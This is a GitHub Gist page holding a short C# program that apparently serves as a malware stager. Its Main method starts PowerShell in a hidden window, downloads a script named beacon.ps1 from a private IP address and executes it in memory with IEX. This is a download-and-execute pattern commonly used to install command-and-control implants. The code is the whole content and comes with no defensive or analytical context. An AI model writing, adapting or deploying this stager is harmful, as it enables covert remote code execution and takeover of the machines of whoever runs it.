Instantly share code, notes, and snippets.

Embed
What would you like to do?
using System;
using System.Diagnostics;
namespace peewpw
{
static class Program
{
[STAThread]
static void Main()
{
Process process = new Process();
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "-c \"IEX((new-object net.webclient).downloadstring(\'http://10.7.254.230/beacon.ps1\'))\"";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment